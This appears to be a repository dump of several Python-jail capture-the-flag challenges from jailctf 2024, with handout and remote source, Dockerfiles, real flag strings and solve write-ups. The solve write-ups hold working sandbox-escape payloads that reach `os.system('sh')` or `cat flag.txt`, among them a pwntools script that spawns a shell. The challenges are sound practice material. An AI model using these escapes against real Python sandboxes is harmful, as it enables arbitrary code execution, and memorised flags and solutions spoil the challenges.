([ABCDEFGHIJKLMNOPQRSTUVWXYZ¤‖↶↷⟲]) 12 | scope: entity.name.function 13 | 14 | - match: ([⁺⁻×÷﹪∧∨¬⁼‹›]) 15 | scope: keyword.operator 16 | 17 | - match: ([⁰¹²³⁴⁵⁶⁷⁸⁹]+) 18 | scope: constant.numeric 19 | 20 | - match: ([←↑→↓↖↗↘↙]) 21 | scope: constant.other.symbol 22 | 23 | - match: ([ -~¶´]+) 24 | scope: string.quoted 25 | 26 | - match: ([αβγδεζηθικλμνξπρσςτυφχψω]) 27 | scope: variable 28 | 29 | - match: («) 30 | push: body 31 | 32 | - match: (») 33 | scope: invalid.illegal.stray-bracket-end 34 | 35 | body: 36 | - match: (») 37 | pop: true 38 | - include: main -------------------------------------------------------------------------------- /charredcoal/handout/Charcoal/requirements.txt: -------------------------------------------------------------------------------- 1 | brotli 2 | regex 3 | -------------------------------------------------------------------------------- /charredcoal/handout/Charcoal/tox.ini: -------------------------------------------------------------------------------- 1 | [pycodestyle] 2 | ignore = W291,W293 3 | 4 | [pep8] 5 | ignore = W291,W293 -------------------------------------------------------------------------------- /charredcoal/handout/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python@sha256:4d440b214e447deddc0a94de23a3d97d28dfafdf125a8b4bb8073381510c9ee2 AS app 2 | RUN pip install --no-cache-dir regex brotli 3 | 4 | FROM pwn.red/jail 5 | COPY --from=app / /srv 6 | COPY --chmod=755 main.py /srv/app/run 7 | COPY --chmod=444 flag.txt /srv/app/flag.txt 8 | COPY Charcoal/ /srv/app/Charcoal/ 9 | ENV JAIL_MEM=34M JAIL_PIDS=7 JAIL_ENV_NUM=5 JAIL_TIME=60 JAIL_CONNS_PER_IP=2 10 | -------------------------------------------------------------------------------- /charredcoal/handout/flag.txt: -------------------------------------------------------------------------------- 1 | jail{flag_will_be_here_on_remote} 2 | -------------------------------------------------------------------------------- /charredcoal/handout/main.py: -------------------------------------------------------------------------------- 1 | #!/usr/local/bin/python3 2 | from time import sleep 3 | import subprocess 4 | 5 | inp = bytes.fromhex(input("> ")).decode() 6 | 7 | for char in inp: 8 | if ord(char) > 256: 9 | print("hey, not cool !") 10 | exit() 11 | 12 | with subprocess.Popen(["/usr/local/bin/python3", "/app/Charcoal/charcoal.py"], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) as proc: 13 | print(proc.communicate(input=inp.encode())[0].decode()) 14 | print('bye') 15 | 16 | -------------------------------------------------------------------------------- /charredcoal/remote/Charcoal/.gitignore: -------------------------------------------------------------------------------- 1 | .c9/ 2 | __pycache__/ 3 | .~c9* 4 | out* 5 | *.swp 6 | *.cl 7 | *.clv 8 | *.clg 9 | test.in 10 | -------------------------------------------------------------------------------- /charredcoal/remote/Charcoal/.travis.yml: -------------------------------------------------------------------------------- 1 | language: python 2 | python: 3 | - "3.4" 4 | - "3.5" 5 | - "3.6" # current default Python on Travis CI 6 | - "3.7" 7 | - "3.8" 8 | - "3.8-dev" # 3.8 development branch 9 | - "nightly" # nightly build 10 | # command to install dependencies 11 | install: 12 | - pip install -r requirements.txt 13 | # command to run tests 14 | script: 15 | - python test.py 16 | -------------------------------------------------------------------------------- /charredcoal/remote/Charcoal/LICENSE: -------------------------------------------------------------------------------- 1 | Copyright (c) 2016 E-Hern Lee and David Loscutoff 2 | 3 | Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: 4 | 5 | The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. 6 | 7 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 8 | 9 | -------------------------------------------------------------------------------- /charredcoal/remote/Charcoal/README.md: -------------------------------------------------------------------------------- 1 | # Charcoal 2 | 3 | Want to be able to write basic Charcoal quickly? Then read on. If you came here looking for help, scroll to the bottom for the FAQ. 4 | 5 | ## Example REPL session 6 | 7 | To use the REPL, simply invoke with `./charcoal.py`, `python charcoal.py` or `python3 charcoal.py`. 8 | 9 | Charcoal> Hello, World! 10 | Hello, World! 11 | Charcoal> ^C 12 | Cleared canvas 13 | 14 | ## Literals 15 | There are two basic types of literals: strings and numbers. A string is just a run of printable ASCII, and a number is just a run of the superscript digits `⁰¹²³⁴⁵⁶⁷⁸⁹`. 16 | 17 | Examples: 18 | `foo` is equivalent to `"foo"`. 19 | `foo¶bar` is the same as `"foo\nbar"`. 20 | `¹²³⁴` is `1234`. 21 | 22 | ## Printing 23 | In a Charcoal program, expressions are implicitly printed. Numbers print a line, and arrows can be used to specify a direction. 24 | 25 | Examples: 26 | `foo` prints `foo` 27 | `foo⁴` prints `foo----` 28 | `foo↖⁴` prints: 29 | ``` 30 | \ 31 | \ 32 | \ 33 | foo\ 34 | ``` 35 | 36 | ## FAQ 37 | - When I run Charcoal it throws some errors about UTF-8 characters and exits. 38 | - Maybe you don't have Python 3 installed. Try installing Python 3 from [here](https://www.python.org/downloads/). 39 | - When I run Charcoal it throws some errors and exits. 40 | - If the message comes with a stack trace, it looks like you have found a bug. File a bug report [here](https://github.com/somebody1234/Charcoal/issues), and we'll come back to you as soon as we can. 41 | 42 | 43 | -------------------------------------------------------------------------------- /charredcoal/remote/Charcoal/TODO.md: -------------------------------------------------------------------------------- 1 | # To Do 2 | - [ ] Make empty lines [] not [""] 3 | - [ ] Better detection of empty spaces 4 | - [ ] Decide whether to add roll (shift string right (and maybe left))?, 5 | translate and more complex number things e.g. factor 6 | - [ ] Add other operators to tutor? Introduce preinitialized variables? 7 | - [ ] Use one charcoal instance for new charcoal (lambdafy) maybe? 8 | - [ ] zip 9 | - [ ] Make ASTProcessor lines <80 chars 10 | - [ ] Make lambdas not print result if they also return it -------------------------------------------------------------------------------- /charredcoal/remote/Charcoal/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jailctf/challenges-2024/9fbd3d04bf856d90060c5fe3cb307cd362b8c0d3/charredcoal/remote/Charcoal/__init__.py -------------------------------------------------------------------------------- /charredcoal/remote/Charcoal/appveyor.yml: -------------------------------------------------------------------------------- 1 | environment: 2 | 3 | matrix: 4 | 5 | # For Python versions available on Appveyor, see 6 | # http://www.appveyor.com/docs/installed-software#python 7 | # The list here is complete (excluding Python 2.6, which 8 | # isn't covered by this document) at the time of writing. 9 | - PYTHON: "C:\\Python34" 10 | - PYTHON: "C:\\Python35" 11 | - PYTHON: "C:\\Python36" 12 | - PYTHON: "C:\\Python37" 13 | - PYTHON: "C:\\Python38" 14 | - PYTHON: "C:\\Python35-x64" 15 | - PYTHON: "C:\\Python36-x64" 16 | - PYTHON: "C:\\Python37-x64" 17 | - PYTHON: "C:\\Python38-x64" 18 | 19 | install: 20 | # We need wheel installed to build wheels 21 | - "%PYTHON%\\python.exe -m pip install brotli regex" 22 | 23 | build: off 24 | 25 | test_script: 26 | - "%PYTHON%\\python.exe test.py" 27 | -------------------------------------------------------------------------------- /charredcoal/remote/Charcoal/charcoaltoken.py: -------------------------------------------------------------------------------- 1 | CharcoalTokenNames = [ 2 | "Arrow", 3 | "Multidirectional", 4 | "Side", 5 | "S", 6 | "String", 7 | "Number", 8 | "Name", 9 | "Span", 10 | 11 | "Arrows", 12 | "Sides", 13 | "WolframExpressions", 14 | "Expressions", 15 | "Fixes", 16 | "PairExpressions", 17 | "Cases", 18 | 19 | "WolframExpression", 20 | "Expression", 21 | "ExpressionOrEOF", 22 | "Nilary", 23 | "Unary", 24 | "Binary", 25 | "Ternary", 26 | "Quarternary", 27 | "LazyUnary", 28 | "LazyBinary", 29 | "LazyTernary", 30 | "LazyQuarternary", 31 | "Infix", 32 | "Prefix", 33 | "Fix", 34 | "FixOrEOF", 35 | "OtherOperator", 36 | 37 | "WolframList", 38 | "List", 39 | "Dictionary", 40 | 41 | "Program", 42 | "NonEmptyProgram", 43 | "Body", 44 | "Command", 45 | 46 | "LP", 47 | "RP", 48 | 49 | "EOF", 50 | 51 | "MAX", 52 | ] 53 | 54 | 55 | class CharcoalToken: 56 | pass 57 | 58 | for i in range(len(CharcoalTokenNames)): 59 | setattr(CharcoalToken, CharcoalTokenNames[i], i) -------------------------------------------------------------------------------- /charredcoal/remote/Charcoal/direction.py: -------------------------------------------------------------------------------- 1 | from enum import Enum 2 | 3 | 4 | class Direction(Enum): 5 | left = 1 6 | up = 2 7 | right = 3 8 | down = 4 9 | up_left = 5 10 | up_right = 6 11 | down_left = 7 12 | down_right = 8 13 | 14 | DirectionToString = { 15 | Direction.left: "←", 16 | Direction.up: "↑", 17 | Direction.right: "→", 18 | Direction.down: "↓", 19 | Direction.up_left: "↖", 20 | Direction.up_right: "↗", 21 | Direction.down_left: "↙", 22 | Direction.down_right: "↘" 23 | } 24 | 25 | 26 | class Pivot(Enum): 27 | left = 1 28 | right = 2 29 | -------------------------------------------------------------------------------- /charredcoal/remote/Charcoal/extras.py: -------------------------------------------------------------------------------- 1 | go = goat = """\ 2 | ___. 3 | // \\\\ 4 | (( '' 5 | \\\\__, 6 | /6 (%)\\, 7 | (__/:";,;\\--____----_ 8 | ;; :';,:';`;,';,;';`,`_ 9 | ;:,;;';';,;':,';';,-Y\\ 10 | ;,;,;';';,;':;';'; Z/ 11 | / ;,';';,;';,;';;' 12 | / / |';/~~~~~\\';;' 13 | ( K | | || | 14 | \\_\\ | | || | 15 | \\Z | | || | 16 | L_| LL_| 17 | LW/ LLW/""" # evil sheep suck 18 | 19 | sh = sheep = "sheep suck" 20 | 21 | de = dennis = """\ 22 | _,-'''--,.__ _ 23 | _.*'' __''>#=--""\" 24 | _ ./" _.-'' '\\._ 25 | / "'--.____ _.-' __.-'' '\\. 26 | / "Y __/" /// "\\. 27 | | /" _/" /// --.________ * "\\ 28 | | // /""|---______"\\ 29 | | . ""'--.__ H _./ 30 | | /""-. \\\\\\._ '''''--------- H __.--' 31 | \\ / / \\ ''--__________________--H-'' 32 | | | | ) __.__ \\ 33 | H | | _.""-.__| ## /' )# \\ 34 | H | _|"" | "" |_._.''- \\.-""\\ 35 | | |/ |"-._ _.-"| . . . . \\ | 36 | |_.-""\"-._/ . * * | / 37 | ./ " _. . . / / 38 | ( "-.__ __.-"' /.-' 39 | | |#####/ / 40 | \\ \\ / /" 41 | '-._______._ .-"' 42 | '-.____ _.--"' _.-- 43 | _____ |'''''''' | .----_ .-"\ 44 | / \\ |_________|___| \\ \\"" \ 45 | | . \\"" | | "' 46 | .- | | | | 47 | .-"' | | | | """ # noqa 48 | -------------------------------------------------------------------------------- /charredcoal/remote/Charcoal/highlighters/Charcoal.sublime-syntax: -------------------------------------------------------------------------------- 1 | %YAML 1.2 2 | --- 3 | file_extensions: 4 | - cl 5 | scope: source 6 | contexts: 7 | main: 8 | - match: (¿|F|W|HF|HW) 9 | scope: keyword 10 | 11 | - match: ([ABCDEFGHIJKLMNOPQRSTUVWXYZ¤‖↶↷⟲]) 12 | scope: entity.name.function 13 | 14 | - match: ([⁺⁻×÷﹪∧∨¬⁼‹›]) 15 | scope: keyword.operator 16 | 17 | - match: ([⁰¹²³⁴⁵⁶⁷⁸⁹]+) 18 | scope: constant.numeric 19 | 20 | - match: ([←↑→↓↖↗↘↙]) 21 | scope: constant.other.symbol 22 | 23 | - match: ([ -~¶´]+) 24 | scope: string.quoted 25 | 26 | - match: ([αβγδεζηθικλμνξπρσςτυφχψω]) 27 | scope: variable 28 | 29 | - match: («) 30 | push: body 31 | 32 | - match: (») 33 | scope: invalid.illegal.stray-bracket-end 34 | 35 | body: 36 | - match: (») 37 | pop: true 38 | - include: main -------------------------------------------------------------------------------- /charredcoal/remote/Charcoal/requirements.txt: -------------------------------------------------------------------------------- 1 | brotli 2 | regex 3 | -------------------------------------------------------------------------------- /charredcoal/remote/Charcoal/tox.ini: -------------------------------------------------------------------------------- 1 | [pycodestyle] 2 | ignore = W291,W293 3 | 4 | [pep8] 5 | ignore = W291,W293 -------------------------------------------------------------------------------- /charredcoal/remote/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python@sha256:4d440b214e447deddc0a94de23a3d97d28dfafdf125a8b4bb8073381510c9ee2 AS app 2 | RUN pip install --no-cache-dir regex brotli 3 | 4 | FROM pwn.red/jail 5 | COPY --from=app / /srv 6 | COPY --chmod=755 main.py /srv/app/run 7 | COPY --chmod=444 flag.txt /srv/app/flag.txt 8 | COPY Charcoal/ /srv/app/Charcoal/ 9 | ENV JAIL_MEM=34M JAIL_PIDS=7 JAIL_ENV_NUM=5 JAIL_TIME=60 JAIL_CONNS_PER_IP=2 10 | -------------------------------------------------------------------------------- /charredcoal/remote/flag.txt: -------------------------------------------------------------------------------- 1 | jail{ord_is_a_weirdo_d9479722fdb4b49bd40494c2acb} 2 | -------------------------------------------------------------------------------- /charredcoal/remote/main.py: -------------------------------------------------------------------------------- 1 | #!/usr/local/bin/python3 2 | from time import sleep 3 | import subprocess 4 | 5 | inp = bytes.fromhex(input("> ")).decode() 6 | 7 | for char in inp: 8 | if ord(char) > 256: 9 | print("hey, not cool !") 10 | exit() 11 | 12 | with subprocess.Popen(["/usr/local/bin/python3", "/app/Charcoal/charcoal.py"], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) as proc: 13 | print(proc.communicate(input=inp.encode())[0].decode()) 14 | print('bye') 15 | 16 | -------------------------------------------------------------------------------- /charredcoal/solve/README.md: -------------------------------------------------------------------------------- 1 | # charredcoal 2 | 3 | even though we cant abuse those U V or X utf8 chars, we can use the weird s with a circle in the middle which is for some reason ord under 256 even though it is two bytes in utf8 4 | 5 | so it says in the docs that the funky "s" is x[y] or smth, but if you look at the source it does getattr !!!! dangerous alert !!!! anyways, we can just use `<<` and `>>` but the singular chars to 6 | create a lambda or smth idk what it is and then we getattr the globals of it and then the builtins of that and then the breakpoint and for some reason when stuff is printed in the repl, if it is a function it is called 7 | with no args. so we use breakpoint here and then we can just use a standard import os system sh or whatever 8 | 9 | ``` 10 | §§§«»¦__globals__¦builtins¦breakpoint 11 | __import__('os').system('cat flag.txt') 12 | ``` 13 | 14 | yeah my solve is above (one must hex encode it before submitting ! keep that in mind...) 15 | 16 | -------------------------------------------------------------------------------- /filterd/README.md: -------------------------------------------------------------------------------- 1 | # filter'd 2 | 3 | category: pyjail/introductory/golf 4 | 5 | ## description 6 | 7 | i asked the tech support guy for help with escaping this jail but all he said in his reply was "lmao u just got filter'd"... 8 | 9 | -------------------------------------------------------------------------------- /filterd/handout/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python@sha256:4d440b214e447deddc0a94de23a3d97d28dfafdf125a8b4bb8073381510c9ee2 AS app 2 | 3 | FROM pwn.red/jail 4 | COPY --from=app / /srv 5 | COPY --chmod=755 chal.py /srv/app/run 6 | COPY --chmod=444 flag.txt /srv/app/flag.txt 7 | ENV JAIL_MEM=25M JAIL_ENV_NUM=5 JAIL_TIME=180 JAIL_CONNS_PER_IP=2 8 | 9 | -------------------------------------------------------------------------------- /filterd/handout/chal.py: -------------------------------------------------------------------------------- 1 | #!/usr/local/bin/python3 2 | M = 14 # no malicious code could ever be executed since this limit is so low, right? 3 | def f(code): 4 | assert len(code) <= M 5 | assert all(ord(c) < 128 for c in code) 6 | assert all(q not in code for q in ["exec", 7 | "eval", "breakpoint", "help", "license", "exit" 8 | , "quit"]) 9 | exec(code, globals()) 10 | f(input("> ")) 11 | 12 | -------------------------------------------------------------------------------- /filterd/handout/flag.txt: -------------------------------------------------------------------------------- 1 | jail{flag_will_be_here_on_remote} 2 | -------------------------------------------------------------------------------- /filterd/remote/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python@sha256:4d440b214e447deddc0a94de23a3d97d28dfafdf125a8b4bb8073381510c9ee2 AS app 2 | 3 | FROM pwn.red/jail 4 | COPY --from=app / /srv 5 | COPY --chmod=755 chal.py /srv/app/run 6 | COPY --chmod=444 flag.txt /srv/app/flag.txt 7 | ENV JAIL_MEM=25M JAIL_ENV_NUM=5 JAIL_TIME=180 JAIL_CONNS_PER_IP=2 8 | 9 | -------------------------------------------------------------------------------- /filterd/remote/chal.py: -------------------------------------------------------------------------------- 1 | #!/usr/local/bin/python3 2 | M = 14 # no malicious code could ever be executed since this limit is so low, right? 3 | def f(code): 4 | assert len(code) <= M 5 | assert all(ord(c) < 128 for c in code) 6 | assert all(q not in code for q in ["exec", 7 | "eval", "breakpoint", "help", "license", "exit" 8 | , "quit"]) 9 | exec(code, globals()) 10 | f(input("> ")) 11 | 12 | -------------------------------------------------------------------------------- /filterd/remote/flag.txt: -------------------------------------------------------------------------------- 1 | jail{can_you_repeat_that_for_me?_aacb7144d2c} 2 | -------------------------------------------------------------------------------- /filterd/solve/README.md: -------------------------------------------------------------------------------- 1 | # filter'd 2 | 3 | ### intended solution 4 | 5 | ok so basically the solve idea is we can call the function f, and since the eval is called with the globals() as the second argument, we can also set/overwrite variables in the global scope 6 | 7 | one important thing to know is that one can delimit statements with `;` instead of `\n` in python 8 | 9 | so we can do `f(input())` to regain execution with 4 bytes to spare, but that is not enough to do anything meaningful 10 | 11 | instead, we can do `i=input;f(i())` which does the same thing. this may seem not useful to do it this way, because we use more bytes, but that means that 12 | in the "next time through" we can do `f(i())` to run the program again, which is only 6 bytes. that way, we have 8 bytes to spare (well, 7 because one is going to be a `;`). 13 | 14 | with the 7 bytes, we can overwrite the `M` to raise the limit to be large 15 | 16 | so, `M=10000;f(i())` is our next step 17 | 18 | after that, we can just write in whatever payload that doesnt use the blacklisted keywords that we can think of. an easy way to win is just to use the `"os.system"` with `"sh"` as the argument to get a shell and then win 19 | 20 | summary of intended sol: 21 | ``` 22 | i=input;f(i()) 23 | M=10000;f(i()) 24 | __import__('os').system('sh') 25 | ``` 26 | 27 | ### alternative solution 28 | 29 | alt sol found by lyndon using walrus operator that uses 13 bytes per inp max 30 | 31 | ``` 32 | f(i:=input()) 33 | f(input()) 34 | M=10000;f(i) 35 | import os;os.system('sh') 36 | ``` 37 | 38 | i did not make the challenge 13 bytes max because this is an introductory challenge and this would be stretching it a little too far (even i did not see this one coming) 39 | 40 | -------------------------------------------------------------------------------- /functional-programming/README.md: -------------------------------------------------------------------------------- 1 | # functional programming 2 | 3 | category: pyjail/crypto 4 | 5 | ## description 6 | 7 | can(you(write(python(with(only(functions())))))) 8 | 9 | -------------------------------------------------------------------------------- /functional-programming/handout/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python@sha256:4d440b214e447deddc0a94de23a3d97d28dfafdf125a8b4bb8073381510c9ee2 AS app 2 | RUN pip install --no-cache-dir regex 3 | 4 | FROM pwn.red/jail 5 | COPY --from=app / /srv 6 | COPY --chmod=755 main.py /srv/app/run 7 | COPY --chmod=444 flag.txt /srv/app/flag.txt 8 | ENV JAIL_MEM=27M JAIL_ENV_NUM=5 JAIL_TIME=30 JAIL_CONNS_PER_IP=2 9 | -------------------------------------------------------------------------------- /functional-programming/handout/flag.txt: -------------------------------------------------------------------------------- 1 | jail{flag_will_be_here_on_remote} 2 | -------------------------------------------------------------------------------- /functional-programming/handout/main.py: -------------------------------------------------------------------------------- 1 | #!/usr/local/bin/python3 2 | 3 | if eval(__import__('regex').fullmatch(r'[a-oq-z]+\(((?R)|)\)', input('> '))[0]) == 0x1337133713371337: 4 | print(open('flag.txt', 'r').read()) 5 | 6 | -------------------------------------------------------------------------------- /functional-programming/remote/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python@sha256:4d440b214e447deddc0a94de23a3d97d28dfafdf125a8b4bb8073381510c9ee2 AS app 2 | RUN pip install --no-cache-dir regex 3 | 4 | FROM pwn.red/jail 5 | COPY --from=app / /srv 6 | COPY --chmod=755 main.py /srv/app/run 7 | COPY --chmod=444 flag.txt /srv/app/flag.txt 8 | ENV JAIL_MEM=27M JAIL_ENV_NUM=5 JAIL_TIME=30 JAIL_CONNS_PER_IP=2 9 | -------------------------------------------------------------------------------- /functional-programming/remote/flag.txt: -------------------------------------------------------------------------------- 1 | jail{brut1n9_h45h_funct10n5_ftw!!!} 2 | -------------------------------------------------------------------------------- /functional-programming/remote/main.py: -------------------------------------------------------------------------------- 1 | #!/usr/local/bin/python3 2 | 3 | if eval(__import__('regex').fullmatch(r'[a-oq-z]+\(((?R)|)\)', input('> '))[0]) == 0x1337133713371337: 4 | print(open('flag.txt', 'r').read()) 5 | 6 | -------------------------------------------------------------------------------- /functional-programming/solve/README.md: -------------------------------------------------------------------------------- 1 | # functional programming 2 | 3 | The intended solution is to generate a Python object whose `hash()` equals `0x1337133713371337`. Since tuples are hashable, their hash is also deterministic. Arbitary "binary" tuples can be generated by repeatedly using `enumerate`, `reversed`, and `list`. For example, 4 | 5 | ```py 6 | next(iter(reversed(list(enumerate(range(2)))))) == (1, 1) 7 | next(iter(list(enumerate(reversed(list(enumerate(range(2)))))))) == (0, (1, 1)) 8 | next(iter(list(enumerate(reversed(list(enumerate(reversed(list(enumerate(range(2))))))))))) == (0, (1, (0, 0))) 9 | ``` 10 | 11 | It remains to generate a preimage of `hash()` efficiently, without brute forcing over the entire `2^64` search space. We can see that the [`tuplehash`](https://github.com/python/cpython/blob/3.12/Objects/tupleobject.c#L319) implementation in CPython has a single accumulator variable that updates via some mathematical formula as a function of the current item in the tuple: 12 | 13 | ```py 14 | Py_uhash_t acc = _PyHASH_XXPRIME_5; 15 | for (i = 0; i < len; i++) { 16 | Py_uhash_t lane = PyObject_Hash(item[i]); 17 | if (lane == (Py_uhash_t)-1) { 18 | return -1; 19 | } 20 | acc += lane * _PyHASH_XXPRIME_2; 21 | acc = _PyHASH_XXROTATE(acc); 22 | acc *= _PyHASH_XXPRIME_1; 23 | } 24 | ``` 25 | 26 | Most notably, the transformation is **bijective**, which allows us to perform a meet-in-the-middle attack. This decreases the time of finding a preimage from `2^64` to `2^32`! My [implementation](brute.c) in C takes ~25 mins to find a solution. 27 | -------------------------------------------------------------------------------- /functional-programming/solve/payload.txt: -------------------------------------------------------------------------------- 1 | hash(next(iter(list(enumerate(reversed(list(enumerate(reversed(list(enumerate(list(enumerate(reversed(list(enumerate(list(enumerate(list(enumerate(reversed(list(enumerate(list(enumerate(reversed(list(enumerate(list(enumerate(reversed(list(enumerate(reversed(list(enumerate(list(enumerate(reversed(list(enumerate(list(enumerate(list(enumerate(list(enumerate(reversed(list(enumerate(reversed(list(enumerate(list(enumerate(reversed(list(enumerate(reversed(list(enumerate(list(enumerate(reversed(list(enumerate(list(enumerate(reversed(list(enumerate(reversed(list(enumerate(list(enumerate(list(enumerate(list(enumerate(reversed(list(enumerate(list(enumerate(reversed(list(enumerate(list(enumerate(reversed(list(enumerate(reversed(list(enumerate(reversed(list(enumerate(list(enumerate(reversed(list(enumerate(reversed(list(enumerate(reversed(list(enumerate(list(enumerate(reversed(list(enumerate(reversed(list(enumerate(reversed(list(enumerate(list(enumerate(reversed(list(enumerate(reversed(list(enumerate(list(enumerate(reversed(list(enumerate(reversed(list(enumerate(reversed(list(enumerate(reversed(list(enumerate(list(enumerate(reversed(list(enumerate(list(enumerate(list(enumerate(list(enumerate(list(enumerate(list(enumerate(reversed(list(enumerate(reversed(list(enumerate(reversed(list(enumerate(list(enumerate(list(enumerate(reversed(range(len(str(list()))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))) 2 | -------------------------------------------------------------------------------- /get-and-call/README.md: -------------------------------------------------------------------------------- 1 | # get and call 2 | 3 | category: pyjail/introductory 4 | 5 | ## description 6 | 7 | can you combine these two primitives to get rce? 8 | 9 | -------------------------------------------------------------------------------- /get-and-call/handout/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python@sha256:4d440b214e447deddc0a94de23a3d97d28dfafdf125a8b4bb8073381510c9ee2 AS app 2 | 3 | FROM pwn.red/jail 4 | COPY --from=app / /srv 5 | COPY --chmod=755 main.py /srv/app/run 6 | COPY --chmod=444 flag.txt /srv/app/flag.txt 7 | ENV JAIL_MEM=27M JAIL_ENV_NUM=5 JAIL_TIME=220 JAIL_CONNS_PER_IP=2 8 | -------------------------------------------------------------------------------- /get-and-call/handout/flag.txt: -------------------------------------------------------------------------------- 1 | jail{flag_will_be_here_on_remote} 2 | -------------------------------------------------------------------------------- /get-and-call/handout/main.py: -------------------------------------------------------------------------------- 1 | #!/usr/local/bin/python3 2 | obj = 0 3 | while True: 4 | print(f'obj: {obj}') 5 | print('1. get attribute') 6 | print('2. call method') 7 | inp = input("choose > ") 8 | if inp == '1': 9 | obj = getattr(obj, input('attr > '), obj) 10 | if inp == '2': 11 | obj = obj() 12 | # note: i highly recommend using either the dockerfile or exploring attributes on remote with attribute __dir__. this challenge may function much differently on your local python environment!!!! 13 | -------------------------------------------------------------------------------- /get-and-call/remote/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python@sha256:4d440b214e447deddc0a94de23a3d97d28dfafdf125a8b4bb8073381510c9ee2 AS app 2 | 3 | FROM pwn.red/jail 4 | COPY --from=app / /srv 5 | COPY --chmod=755 main.py /srv/app/run 6 | COPY --chmod=444 flag.txt /srv/app/flag.txt 7 | ENV JAIL_MEM=27M JAIL_ENV_NUM=5 JAIL_TIME=220 JAIL_CONNS_PER_IP=2 8 | -------------------------------------------------------------------------------- /get-and-call/remote/flag.txt: -------------------------------------------------------------------------------- 1 | jail{if_you_find_a_way_to_get_rce_without_breakpoint_or_breakpointhook_then_lmk} 2 | -------------------------------------------------------------------------------- /get-and-call/remote/main.py: -------------------------------------------------------------------------------- 1 | #!/usr/local/bin/python3 2 | obj = 0 3 | while True: 4 | print(f'obj: {obj}') 5 | print('1. get attribute') 6 | print('2. call method') 7 | inp = input("choose > ") 8 | if inp == '1': 9 | obj = getattr(obj, input('attr > '), obj) 10 | if inp == '2': 11 | obj = obj() 12 | -------------------------------------------------------------------------------- /get-and-call/solve/README.md: -------------------------------------------------------------------------------- 1 | # get and call 2 | 3 | solve1.py contains a solution that calls `builtins.breakpoint` 4 | 5 | solve2.py contains a solution that calls `sys.breakpointhook` 6 | 7 | the premise here is that we can do arbitrary getattr and call functions with no arguments, but we cant do anything more 8 | 9 | the trick here is to deviate from the standard no builtins escape of `object.__subclasses__()[num].__init__.__globals__` and instead use popitem to traverse module dictionaries 10 | 11 | one gets the last item of a dict using `dict_obj.values().__reversed__().__next__()` 12 | 13 | additionally, one gets the last item of a list using `list_obj.__reversed__().__next__()` 14 | 15 | ok there was also an unintended where you could get the iter function by using `__reduce__` on some iter object and then use the `__self__` of that to get to builtins and win 16 | -------------------------------------------------------------------------------- /get-and-call/solve/solve2.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | from subprocess import check_output 3 | 4 | 5 | #p = process(['python3', 'the.py']) 6 | p = remote('localhost', 5000) 7 | 8 | p.recvline() 9 | p.sendline(check_output(p.recvline().strip(),shell=True)) 10 | 11 | 12 | def ga(attr: str): 13 | p.sendline(b'1') 14 | p.sendline(attr.encode()) 15 | 16 | 17 | def call(): 18 | p.sendline(b'2') 19 | 20 | 21 | for i in range(16): 22 | ga('__class__') 23 | ga('__base__') 24 | ga('__subclasses__') 25 | call() # object.__subclasses__() 26 | 27 | # get the last item of the list 28 | ga('__reversed__') 29 | call() 30 | ga('__next__') 31 | call() # object.__subclasses__()[-1] => _distutils_hack.shim 32 | 33 | # use https://github.com/pypa/setuptools/blob/main/_distutils_hack/__init__.py#L220 to see which methods give builtins 34 | ga('__enter__') 35 | ga('__globals__') # _distutils_hack.shim.__enter__.__globals__ => _distutils_hack.__dict__ 36 | if i < 15: 37 | ga('popitem') # pop key:value pairs until the last value is 38 | call() 39 | continue 40 | ga('values') 41 | call() 42 | ga('__reversed__') 43 | call() 44 | ga('__next__') 45 | call() # 46 | ga('breakpointhook') # sys.breakpointhook() is equivalent to breakpoint 47 | call() 48 | p.sendline(b'__import__("os").system("sh")') # win 49 | 50 | p.interactive() 51 | 52 | -------------------------------------------------------------------------------- /impossible-maze/README.md: -------------------------------------------------------------------------------- 1 | # impossible maze 2 | 3 | category: misc 4 | 5 | ## Description 6 | 7 | I asked my friend to make me a jail challenge for this CTF. It seems we have very different ideas for what a "jail challenge" is... 8 | 9 | https://elangakesmames.itch.io/impossible-maze 10 | (No handout, beat the game in browser) 11 | -------------------------------------------------------------------------------- /impossible-maze/solve/images/blocked.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jailctf/challenges-2024/9fbd3d04bf856d90060c5fe3cb307cd362b8c0d3/impossible-maze/solve/images/blocked.png -------------------------------------------------------------------------------- /impossible-maze/solve/images/io.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jailctf/challenges-2024/9fbd3d04bf856d90060c5fe3cb307cd362b8c0d3/impossible-maze/solve/images/io.png -------------------------------------------------------------------------------- /impossible-maze/solve/images/partial_flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jailctf/challenges-2024/9fbd3d04bf856d90060c5fe3cb307cd362b8c0d3/impossible-maze/solve/images/partial_flag.png -------------------------------------------------------------------------------- /impossible-maze/solve/images/proc_list.png: -------------------------------------------------------------------------------- 